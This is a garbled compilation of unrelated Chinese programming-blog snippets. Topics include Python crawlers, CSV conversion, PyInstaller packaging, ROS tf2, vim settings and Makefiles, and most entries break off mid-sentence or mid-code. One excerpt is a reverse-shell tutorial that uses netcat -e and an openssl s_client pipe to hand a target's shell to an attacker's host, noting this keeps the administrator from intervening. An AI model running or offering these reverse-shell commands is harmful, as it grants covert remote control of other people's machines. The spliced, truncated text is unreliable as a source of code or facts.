工具介绍 1.在互联网上截取一段新闻,从新闻中提取各种实词和虚词,统计词频,制作文本知识库。 2.该爬虫适用与中国新闻网http://www.chinanews.com/ 中的文章的分析与爬取 3.技术核心:Pyqt5、jieba、requests、Counter、bs4 4.我们这里是先使用 ("各种单词计数如下:") for k,v in dict(c2).items(): self.textEdit_2.append("词性:{0} ———— 个数:{1}".format _2.append("=======================================================") self.textEdit_2.append("计数如下 2.复制保存连接,到我们文本框中复制下来,点击爬取按钮 ? 3.点击分析文章,然我们看一下分析效果 ?
Python学习有一段时间了,今天来尝试编写一个程序来实现csv文件转换为excel文件的功能。 首先分析需求,将需求分解为如下几个步骤: 1、获取文件名称; 2、打开csv,可以使用pandas; 3、保存为excel,可以使用pandas 4、可以对程序处理时间进行计时,会用到time模块 对于第一个步骤 修改需求如下: 1、告知一个目录,程序自动获取目录下所有的csv文件名称,会用到os模块; 2、打开csv,可以使用pandas; 3、保存为excel,可以使用pandas 4、可以对程序处理时间进行计时 else: pass # 返回csv文件列表 return file_list 第二个和第三个功能都用pandas,可以放到一个函数: def csv2excel print('程序运行时间:{}秒'.format(float('%.2f' % cost_time))) # 为防止程序运行完自动跳出,将页面保留60秒 time.sleep(60
本文我们来真正完成这个小工具。 基本逻辑 小工具的主程序代码如下: ? 代码第104首先获取当前目录,然后第106行获取当前目录下的所有文件并连接生成每个文件的全路径。 参考代码 完整代码可以从以下链接下载: https://github.com/xueweiguo/Python/tree/master/MusicOrganizer 作者著作介绍 《实战Python设计模式 》是作者去年3月份出版的技术书籍,该书利用Python 的标准GUI 工具包tkinter,通过可执行的示例对23 个设计模式逐个进行说明。 对设计模式感兴趣而且希望随学随用的读者通过本书可以快速跨越从理解到运用的门槛;希望学习Python GUI 编程的读者可以将本书中的示例作为设计和开发的参考;使用Python 语言进行图像分析、数据处理工作的读者可以直接以本书中的示例为基础
---- 质数在很多的运算中都能给我们很大的帮助,是我们工作后期很好的一个数学帮手,那么我们需要对质数加深了解,那么这个小工具就能帮助我们来处理这些事情: 源码: 这里我进行了异常处理,处理的方式是无论输入什么错误的内容都会继续重新输入 示例包下载地址: https://download.csdn.net/download/feng8403000/86933994 下面是打包过程: 使用打包工具:【pip install pyinstaller】 安装完成后注意使用语法: pyinstaller -F -p D:\save\Exe\studys\Python\exe\Lib -i D:\save\myclass\Python \core\pythonProject\python.ico demo5.py -n " 质数判断与质数范围查询工具" 可以看到我使用了2个绝对路径,绝对路径1是Python环境的包所在的位置,如果包不全的话需要自己通过 (2和3不计算在内,最后的数是孪中的也算在前面区间。) S2区间73——216,有素数27个,孪生素数7对。 S3区间217——432,有素数36个,孪生素数8对。
filestools库介绍 今天给大家介绍的Python库,叫做filestools,由小小明开发,直接使用如下命令,安装后使用。 import add_mark add_mark(file=r"aixin.jpg", out=r"C:\Users\Administrator\Desktop\练习", mark="人生苦短,快学Python add_mark(file=r"aixin.jpg", out=r"C:\Users\Administrator\Desktop\练习", mark="人生苦短,快学Python", opacity 水印字样为快学Python,水印透明度是0.2,水印的旋转角度是45°,水印之间的间隔是30个空格。添加水印后,最后将处理后的图片保存在一个指定目录下。
导读 在前期推文Python中的时序分析工具包推荐(1)中介绍了时序分析的三个工具包,分别侧重于时序特征工程、基于sklearn的时序建模和更为高级的时序建模工具。 延续前篇推文的风格,本文主要对四个时序工具包进行简要介绍,包括工具包的功能定位、主要特色及优劣势等,并列出了相关的论文、文档和github地址可供详细查阅。 prophet工具包性能还是很强大的,最主要的是其自动化程度相当高,即使是全默认参数也能取得不错的效果,所以很多其他时序工具包都将其集成在内。 此外,Darts工具包也支持了包括Pipeline、自动调参等特性,也算是工程化支持较为完备的工具包。不过,个人在尝试使用时体验并不是很优秀 。 ,而GluonTS则是Gluon生态中用于实现时序建模的一个工具包,更确切的说是一个基于深度学习的概率时序模型工具,至于时序分析任务也是都支持时序预测和异常检测任务。
1.关于底行模式的一个设置 1.1设置行号 这个设置可以让我们在文本编辑器上面书写的代码的前面有行号的标注说明; 1.2取消行号 这个就是回复成为默认的设置,不显示每一行的行号 2.简单vim配置 2.1
在第一部分中,将编写代码以将静态转换发布到 tf2。 在第二部分中,将解释如何使用 tf2_ros 中的命令行 static_transform_publisher 可执行工具。 在接下来的两个教程中,将编写代码来重现 tf2 教程简介中的演示。 之后,以下教程将重点介绍使用更高级的 tf2 功能扩展演示。 Usage: \n' '$ ros2 run learning_tf2_py static_turtle_tf2_broadcaster' ros2 run tf2_ros static_transform_publisher --x x --y y --z z --qx qx --qy qy --qz qz --qw qw --frame-id frame_id --child-frame-id child_frame_id static_transform_publisher 既设计为手动使用的命令行工具,也可在启动文件中使用以设置静态转换
通常执行 python 程序要有相应的 Python 环境,但某些特定场景下,我们可能并不愿意这么麻烦的去配置这些环境(比如将写好的脚本发给客户进行操作),如果可以提前将程序打包成 Windows平台的 .exe 文件或者是Linux下的 .sh 脚本,那么使用起来就会方便很多,py2exe 和 PyInstaller 这两款工具都是干这么个事的,下面以 hello.py 脚本(代码内容如下)为例进行介绍 生成指定icon的可执行文件:pyinstaller -i xxx.ico hello.py 在当前目录下的 dist 文件夹内可以找到生成后的可执行文件(脚本),更多用法请参考说明 py2exe 安装 pip install py2exe 使用 ? py2exe ? build error 如上图,打包失败了,留意到这里说不支持 python3.6,果断放弃,有兴趣的可以自行降低到 python3.4 或 python3.5 进行尝试。
通常执行 python 程序要有相应的 Python 环境,但某些特定场景下,我们可能并不愿意这么麻烦的去配置这些环境(比如将写好的脚本发给客户进行操作),如果可以提前将程序打包成 Windows平台的 .exe 文件或者是Linux下的 .sh 脚本,那么使用起来就会方便很多,py2exe 和 PyInstaller 这两款工具都是干这么个事的,下面以 hello.py 脚本(代码内容如下)为例进行介绍 \n") print("A: " + age) 提示:PyInstaller 可以在 Windows 和 Linux 下使用,更推荐使用,而 py2exe 暂不支持 Linux 平台 PyInstaller 安装 pip install py2exe 如上图,打包失败了,留意到这里说不支持 python3.6,果断放弃,有兴趣的可以自行降低到 python3.4 或 python3.5 进行尝试。 文章已授权转载,原文链接:Python 程序打包工具:py2exe 和 PyInstaller
今天分享pyhton第二个实战项目——自动获取酷狗音乐 准备 win11 pycharm Edge浏览器 有了第一个自动获取小说工具项目的经历,今天这个会容易许多。 不清楚第一个项目的可以这里去阅读Python实战项目1——自动获取小说工具 开始 首先打开浏览器,搜素酷狗音乐。 正如箭头2所指:就是当前页面我们播放的音乐了。 这就是我们要找的URL地址了。选中它复制,然后打开新的浏览器标签,粘贴,回车。出现以下页面说明我们成功找到。 like Gecko) Chrome/78.0.3904.70 Safari/537.36' } # 音乐列表 list_url ='https://complexsearch.kugou.com/v2/ r=play/getdata&hash={song_list[int(num)-1].get("FileHash")}' # headers2={ 'User-Agent':'Mozilla/
话题一转,说说今天的主角:2个工具,一个是抓包工具Charles,一个是API调试工具Postman。 之前一直使用Chrome app版本,最近这个版本不维护了,提示使用应用程序版本,这个工具使用比较简单,我就说说我觉得比较棒的功能。
利用netcat反弹shell Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包 /configure make && make install make clean 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。 # 最后面那个&为的是防止管理员无法输入命令 当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell 利用Socat反弹shell Socat是Linux 下一个多功能的网络工具 这时在目标机进行反弹 shell 操作,命令为: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47
(y[0][0],y[-1][0],y.shape[0]*2) x2, y2 = np.meshgrid(x2, y2) u10_2 = interp(u10, x[0], np.flipud(y [:, 0]), x2, np.flipud(y2),order=1) v10_2 = interp(v10, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2), = np.meshgrid(x2, y2) data2 = interp(data, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2),order=1) lons2 , lats2 = map(x2, y2, inverse=True) mdata = maskoceans(lons2, lats2, data2, resolution = 'c', grid = = '0.15') map.contourf(x2, y2, mdata) plt.figure(3) mdata = maskoceans(lons2, lats2, data2, resolution
一、python是强类型语言: 1、两个对象比较: (1)、身份(内存地址):两个对象的引用是否相同。 id(a)==id(b)或者a is b (2)、值:两个对象的数据是否相等。 ,Python会按照 位置把右边的对象和左边的目标自左向右逐一进行配对,个数不同会触发异常。 例2: >>>for i in (i**2 for i in range(1,11)): >>> print i/2 0 2 4 8 12 18 24 32 40 50 七、Python中的真假: x<100: print x x=+1 else: print "game over" 八、Python的文件对象: 1、open:python内置函数,用于打开文件和创建文件对象 负数表示使用python默认设置。 正数表示指定此正数大小的缓存。
(ELF格式) readelf -S可以查看可执行程序的二进制构成 二、Linux项目自动化构建工具-make/Makefile 为什么我们会需要自动化构建工具???? 说明: 1、make是一个命令工具,是一个解释makefile中指令的命令工具,一般来说,大多数的IDE都有这个命 令,比如:Delphi的make,Visual C++的nmake,Linux下GNU的 比如说%-2d表示两个字符,格式左对齐 3.4 进度条基础版本 改进的地方: (1)需要一个[ ]括起来 (2)需要一个数字来展示进度 (3)最后希望能有一个类似转圈的东西 #include"processBar.h #include<stdio.h> | 2 | 2 #define NUM #include<stdio.h> | 2 | 2 #define NUM
# 为 python3.8 安装 pip3 curl https://bootstrap.pypa.io/get-pip.py | python3.8 # 安装 python开发包 CentOS系名为 python-devel yum install python-devel # Debian系名为 python-dev apt install python-dev
【pip概述】 python是一种执行效率相对低的语言,通常情况下远赶不上C++和JAVA 而使用python语言的优势在于它的开发效率更高,在如今这个计算机性能过剩的时代,当用上高性能CPU和GPU以后 ,大数据分析和人工智能显然更看重后者 python之所以有较高的开发效率,得益于各种有用的第三方库或者软件包 pip就是这样一个有效的包管理工具 【pip使用】 python中一般自带pip,我们可以随时查看已经安装的 python包: pip list 我们可以安装一个常用的机器学习包numpy来测试它的功能 pip install numpy pip会从服务器自动下载并安装相应的包 如果安装成功,再次输入pip list
=lng2-lng1 5 dlat=lat2-lat1 6 a=sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 7 distance pandas分别导入源表和目标表,两个表关联得到原点与目标点的所有配对 1file_name = r'D:\python\geo\sTable.csv' 2df1=pd.read_csv(file_name ) 3file_name2 = r'D:\python\geo\tTable.csv' 4df2=pd.read_csv(file_name2) 5m = pd.concat([pd.concat([df1 Python工具开发实践-csv文件分割 将文件分割之后,我们便可以循环处理分片文件与目标文件,将得到的结果合并到一个空的Dataframe里st_time))) distance = pd.DataFrame ('D:/python/geo/distance_result.csv') 使用测试数据测算,经纬度距离亿次计算量耗时约88.73秒,秒杀VBA。
在附加组件里搜索下载,一般搜的结果里前几个都不是,得点那个查看更多才行,找到这个: 安装以后浏览器工具栏会有: 安装好了以后点击这个标签启动: 1:控制用例运行速度 2:暂停和恢复用例执行 3:单步:可以运行一个用例中的一行命令 有兴趣的朋友可以研究一下这个工具。 你会发现浏览器标签会有变化: 点击Record之前: 点击了Record以后: 然后在当前页面执行操作,在selenium Builder里会有你所有点击的定位: 这个工具在定位的时候非常方便